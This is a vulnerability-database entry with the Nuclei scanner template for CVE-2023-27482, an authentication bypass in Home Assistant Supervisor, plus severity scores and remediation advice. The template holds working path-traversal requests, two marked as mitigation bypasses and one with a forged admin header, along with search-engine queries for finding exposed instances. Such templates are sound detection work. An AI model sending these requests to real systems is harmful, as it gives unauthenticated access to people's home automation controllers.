Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-27482
HistoryJun 01, 2023 - 3:11 a.m.

Home Assistant Supervisor - Authentication Bypass

2023-06-0103:11:00
ProjectDiscovery
github.com
6
cve2023
homeassistant
authentication-bypass
rce

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.034 Low

EPSS

Percentile

91.5%

Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected.
id: CVE-2023-27482

info:
  name: Home Assistant Supervisor - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Home Assistant Supervisor, potentially leading to further compromise of the system.
  remediation: |
    The issue has been mitigated and closed in Supervisor version 2023.03.1, which has been rolled out to all affected installations via the auto-update feature of the Supervisor. This rollout has been completed at the time of publication of this advisory. Home Assistant Core 2023.3.0 included mitigation for this vulnerability. Upgrading to at least that version is thus advised. In case one is not able to upgrade the Home Assistant Supervisor or the Home Assistant Core application at this time, it is advised to not expose your Home Assistant instance to the internet.
  reference:
    - https://www.elttam.com/blog/pwnassistant/
    - https://github.com/elttam/publications/blob/master/writeups/home-assistant/supervisor-authentication-bypass-advisory.md
    - https://www.home-assistant.io/blog/2023/03/08/supervisor-security-disclosure/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27482
    - https://github.com/home-assistant/core/security/advisories/GHSA-2j8f-h4mr-qr25
    - https://xz.aliyun.com/t/12572
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2023-27482
    cwe-id: CWE-287
    epss-score: 0.03385
    epss-percentile: 0.91419
    cpe: cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: home-assistant
    product: home-assistant
    shodan-query:
      - title:"Home Assistant"
      - http.title:"home assistant"
      - cpe:"cpe:2.3:a:home-assistant:home-assistant"
    fofa-query: title="home assistant"
    google-query: intitle:"home assistant"
  tags: cve2023,cve,homeassistant,auth-bypass,rce,home-assistant

http:
  - raw:
      - |
        GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /api/hassio/app/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 1
        Host: {{Hostname}}
      - |
        GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 2
        Host: {{Hostname}}
        X-Hass-Is-Admin:1

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"slug":'
          - '"name":'
          - '"ip_address"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a5c16ecf9af665f19806f43a62747283296e8a22c9f10f925bef453bc5fbcc7202202f54ecc00060156e6aaa5f52d37ab9f73c9c2042fa17e89d0bdddb4dbc0cd206:922c64590222798bb761d5b6d8e72950

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.034 Low

EPSS

Percentile

91.5%

Related for NUCLEI:CVE-2023-27482